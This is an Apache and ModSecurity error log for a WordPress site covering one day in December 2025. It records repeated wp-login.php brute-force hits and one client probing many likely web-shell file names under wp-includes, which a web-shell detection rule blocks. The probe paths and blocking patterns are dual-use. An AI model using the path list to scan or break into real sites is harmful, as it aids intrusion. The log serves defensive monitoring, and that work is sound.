[Sun Dec 07 06:59:33.620436 2025] [:error] [pid 34108:tid 34113] [client 38.246.32.35:51924] [client 38.246.32.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.35, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTS1VaLvdvAppF-gXotZgQAAAAA"]
[Sun Dec 07 06:59:33.620440 2025] [:error] [pid 34110:tid 34175] [client 38.246.32.35:51923] [client 38.246.32.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.35, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTS1VQndtmtsHiXHBO3A6AAAAIg"]
[Sun Dec 07 08:05:59.348565 2025] [:error] [pid 7089:tid 7106] [client 208.115.224.166:61107] [client 208.115.224.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.115.224.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTTE54JPZ-pZM-y51NEhUQAAAQ8"]
[Sun Dec 07 08:05:59.349887 2025] [:error] [pid 13234:tid 13249] [client 208.115.224.166:61106] [client 208.115.224.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.115.224.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTTE5-6_dquQqQ60IZ_fsAAAAYg"]
[Sun Dec 07 08:07:16.114457 2025] [:error] [pid 7089:tid 7109] [client 208.115.224.166:51465] [client 208.115.224.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.115.224.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTTFNIJPZ-pZM-y51NEhdQAAARI"]
[Sun Dec 07 08:07:16.128210 2025] [:error] [pid 7089:tid 7099] [client 208.115.224.166:51464] [client 208.115.224.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.115.224.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTTFNIJPZ-pZM-y51NEhdgAAAQg"]
[Sun Dec 07 09:15:19.832517 2025] [:error] [pid 7089:tid 7095] [client 103.177.150.24:50367] [client 103.177.150.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.177.150.24, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTTVJ4JPZ-pZM-y51NEu2gAAAQQ"]
[Sun Dec 07 09:15:19.832711 2025] [:error] [pid 7089:tid 7110] [client 103.177.150.24:50368] [client 103.177.150.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.177.150.24, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTTVJ4JPZ-pZM-y51NEu2QAAARM"]
[Sun Dec 07 09:17:01.466885 2025] [:error] [pid 34109:tid 34148] [client 103.177.150.24:57450] [client 103.177.150.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.177.150.24, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTTVjYjE_vucgM_xD4Q4qwAAAEg"]
[Sun Dec 07 09:17:01.653990 2025] [:error] [pid 34108:tid 34119] [client 103.177.150.24:57458] [client 103.177.150.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.177.150.24, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTTVjaLvdvAppF-gXotzNQAAAAY"]
[Sun Dec 07 10:21:59.645674 2025] [proxy_fcgi:error] [pid 25694:tid 25701] (70007)The timeout specified has expired: [client 51.81.107.180:48890] AH01075: Error dispatching request to : (polling)
[Sun Dec 07 10:31:04.588210 2025] [:error] [pid 25602:tid 25672] [client 208.115.224.228:54362] [client 208.115.224.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.115.224.228, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTTm6BMayYLriq9gRdeZLQAAAMo"]
[Sun Dec 07 10:31:04.589193 2025] [:error] [pid 25600:tid 25623] [client 208.115.224.228:54363] [client 208.115.224.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.115.224.228, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTTm6IX3SVrXRURpt5IGDwAAAFA"]
[Sun Dec 07 10:32:06.544614 2025] [:error] [pid 25601:tid 25654] [client 208.115.224.228:63968] [client 208.115.224.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.115.224.228, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTTnJqtsSIqGPs4YVxEACgAAAJM"]
[Sun Dec 07 10:32:06.569615 2025] [:error] [pid 25600:tid 25610] [client 208.115.224.228:63976] [client 208.115.224.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.115.224.228, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTTnJoX3SVrXRURpt5IGUgAAAEM"]
[Sun Dec 07 11:38:44.547926 2025] [:error] [pid 36068:tid 36073] [client 38.246.33.148:64470] [client 38.246.33.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.148, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTT2xFGuxqM4ZYob8lOcVQAAAAM"]
[Sun Dec 07 11:38:44.547943 2025] [:error] [pid 25600:tid 25613] [client 38.246.33.148:64471] [client 38.246.33.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.148, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTT2xIX3SVrXRURpt5IVsQAAAEY"]
[Sun Dec 07 11:39:58.649042 2025] [:error] [pid 36068:tid 36082] [client 38.246.33.148:55813] [client 38.246.33.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.148, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTT3DlGuxqM4ZYob8lOcwQAAAAw"]
[Sun Dec 07 11:39:58.662574 2025] [:error] [pid 25694:tid 25715] [client 38.246.33.148:55815] [client 38.246.33.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.148, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTT3Dkf7996cewJ5N2_h4AAAARM"]
[Sun Dec 07 12:30:42.688251 2025] [proxy_fcgi:error] [pid 25600:tid 25607] [client 4.197.60.90:27889] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Sun Dec 07 12:30:42.706356 2025] [:error] [pid 25600:tid 25615] [client 4.197.60.90:27889] [client 4.197.60.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.197.60.90, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aTUC8oX3SVrXRURpt5IhswAAAEg"], referer: https://www.google.de/
[Sun Dec 07 12:30:42.712689 2025] [proxy_fcgi:error] [pid 25600:tid 25615] [client 4.197.60.90:27889] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Sun Dec 07 12:32:00.091462 2025] [:error] [pid 25602:tid 25677] [client 4.197.60.90:49333] [client 4.197.60.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.197.60.90, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTUDQBMayYLriq9gRde3SQAAAM8"], referer: https://www.google.co.uk/
[Sun Dec 07 12:32:02.294349 2025] [autoindex:error] [pid 25600:tid 25610] [client 4.197.60.90:27889] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Sun Dec 07 12:32:02.317236 2025] [autoindex:error] [pid 25600:tid 25612] [client 4.197.60.90:27889] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Sun Dec 07 12:32:09.751376 2025] [autoindex:error] [pid 25600:tid 25628] [client 4.197.60.90:27889] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Sun Dec 07 12:32:11.115399 2025] [:error] [pid 25600:tid 25620] [client 4.197.60.90:27889] [client 4.197.60.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/index.php"] [unique_id "aTUDS4X3SVrXRURpt5IiWAAAAE0"], referer: https://www.yahoo.com/
[Sun Dec 07 12:32:11.150123 2025] [:error] [pid 25694:tid 25700] [client 4.197.60.90:21894] [client 4.197.60.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/autoload_classmap.php"] [unique_id "aTUDS0f7996cewJ5N2_wgQAAAQQ"], referer: https://www.google.com/
[Sun Dec 07 12:32:11.181594 2025] [:error] [pid 25694:tid 25715] [client 4.197.60.90:9653] [client 4.197.60.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aTUDS0f7996cewJ5N2_wggAAARM"], referer: https://www.google.fr/
[Sun Dec 07 12:32:11.214135 2025] [:error] [pid 36068:tid 36075] [client 4.197.60.90:25603] [client 4.197.60.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aTUDS1GuxqM4ZYob8lOuagAAAAU"], referer: https://www.google.co.uk/
[Sun Dec 07 12:32:11.247458 2025] [:error] [pid 36068:tid 36087] [client 4.197.60.90:25618] [client 4.197.60.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/bk/index.php"] [unique_id "aTUDS1GuxqM4ZYob8lOuawAAABE"], referer: https://www.yahoo.com/
[Sun Dec 07 12:32:11.278238 2025] [:error] [pid 25694:tid 25699] [client 4.197.60.90:31790] [client 4.197.60.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aTUDS0f7996cewJ5N2_wgwAAAQM"], referer: https://www.google.fr/
[Sun Dec 07 12:32:11.317619 2025] [:error] [pid 25602:tid 25681] [client 4.197.60.90:21945] [client 4.197.60.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/index.php"] [unique_id "aTUDSxMayYLriq9gRde3bgAAANM"], referer: https://www.yahoo.com/
[Sun Dec 07 12:32:11.396780 2025] [:error] [pid 25694:tid 25708] [client 4.197.60.90:25916] [client 4.197.60.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aTUDS0f7996cewJ5N2_whQAAAQw"], referer: https://www.google.de/
[Sun Dec 07 12:32:11.433545 2025] [:error] [pid 25600:tid 25631] [client 4.197.60.90:31317] [client 4.197.60.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aTUDS4X3SVrXRURpt5IiWQAAAFg"], referer: https://www.google.de/
[Sun Dec 07 12:32:11.489749 2025] [:error] [pid 36068:tid 36085] [client 4.197.60.90:25876] [client 4.197.60.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/random_compat/index.php"] [unique_id "aTUDS1GuxqM4ZYob8lOubAAAAA8"], referer: https://www.google.de/
[Sun Dec 07 12:32:11.531865 2025] [:error] [pid 25600:tid 25626] [client 4.197.60.90:20943] [client 4.197.60.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aTUDS4X3SVrXRURpt5IiWwAAAFM"], referer: https://www.google.fr/
[Sun Dec 07 12:32:11.566715 2025] [:error] [pid 36068:tid 36073] [client 4.197.60.90:31338] [client 4.197.60.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aTUDS1GuxqM4ZYob8lOubgAAAAM"], referer: https://www.yahoo.com/
[Sun Dec 07 12:32:11.609173 2025] [:error] [pid 36068:tid 36090] [client 4.197.60.90:19149] [client 4.197.60.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aTUDS1GuxqM4ZYob8lOubwAAABQ"], referer: https://www.google.com/
[Sun Dec 07 12:32:13.934219 2025] [:error] [pid 36068:tid 36070] [client 4.197.60.90:24135] [client 4.197.60.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.197.60.90, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTUDTVGuxqM4ZYob8lOudwAAAAA"], referer: https://www.google.com/
[Sun Dec 07 12:32:14.959108 2025] [autoindex:error] [pid 25694:tid 25706] [client 4.197.60.90:21911] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Sun Dec 07 12:32:15.946682 2025] [autoindex:error] [pid 25694:tid 25699] [client 4.197.60.90:21911] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Sun Dec 07 12:32:18.237699 2025] [:error] [pid 36068:tid 36079] [client 4.197.60.90:24135] [client 4.197.60.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.197.60.90, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTUDUlGuxqM4ZYob8lOuiAAAAAk"], referer: https://www.google.co.uk/
[Sun Dec 07 12:32:25.476862 2025] [autoindex:error] [pid 25694:tid 25711] [client 4.197.60.90:21911] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Sun Dec 07 12:32:25.499269 2025] [autoindex:error] [pid 25694:tid 25704] [client 4.197.60.90:21911] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Sun Dec 07 12:32:25.522122 2025] [autoindex:error] [pid 25694:tid 25717] [client 4.197.60.90:21911] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2025/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Sun Dec 07 12:32:26.789475 2025] [autoindex:error] [pid 25694:tid 25716] [client 4.197.60.90:21911] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Sun Dec 07 12:32:26.806857 2025] [:error] [pid 25694:tid 25710] [client 4.197.60.90:21911] [client 4.197.60.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/simi.php"] [unique_id "aTUDWkf7996cewJ5N2_wpwAAAQ4"], referer: https://www.google.de/
[Sun Dec 07 12:32:26.844340 2025] [autoindex:error] [pid 36068:tid 36076] [client 4.197.60.90:24138] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Sun Dec 07 12:32:26.860632 2025] [:error] [pid 36068:tid 36092] [client 4.197.60.90:24138] [client 4.197.60.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/about.php"] [unique_id "aTUDWlGuxqM4ZYob8lOunwAAABY"], referer: https://www.bing.com/
[Sun Dec 07 12:32:26.903491 2025] [:error] [pid 36068:tid 36084] [client 4.197.60.90:31324] [client 4.197.60.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/xwx1.php"] [unique_id "aTUDWlGuxqM4ZYob8lOuoAAAAA4"], referer: https://www.google.com/
[Sun Dec 07 12:32:26.937003 2025] [:error] [pid 25601:tid 25650] [client 4.197.60.90:21927] [client 4.197.60.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/about.php"] [unique_id "aTUDWqtsSIqGPs4YVxEbQQAAAI8"], referer: https://www.google.com/
[Sun Dec 07 12:32:26.970618 2025] [:error] [pid 25694:tid 25706] [client 4.197.60.90:37913] [client 4.197.60.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/index.php"] [unique_id "aTUDWkf7996cewJ5N2_wqAAAAQo"], referer: https://www.bing.com/
[Sun Dec 07 12:32:27.008113 2025] [autoindex:error] [pid 36068:tid 36071] [client 4.197.60.90:25614] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Sun Dec 07 12:32:27.043710 2025] [:error] [pid 36068:tid 36086] [client 4.197.60.90:25614] [client 4.197.60.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aTUDW1GuxqM4ZYob8lOupAAAABA"], referer: https://www.yahoo.com/
[Sun Dec 07 12:32:27.080497 2025] [autoindex:error] [pid 25694:tid 25715] [client 4.197.60.90:9633] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
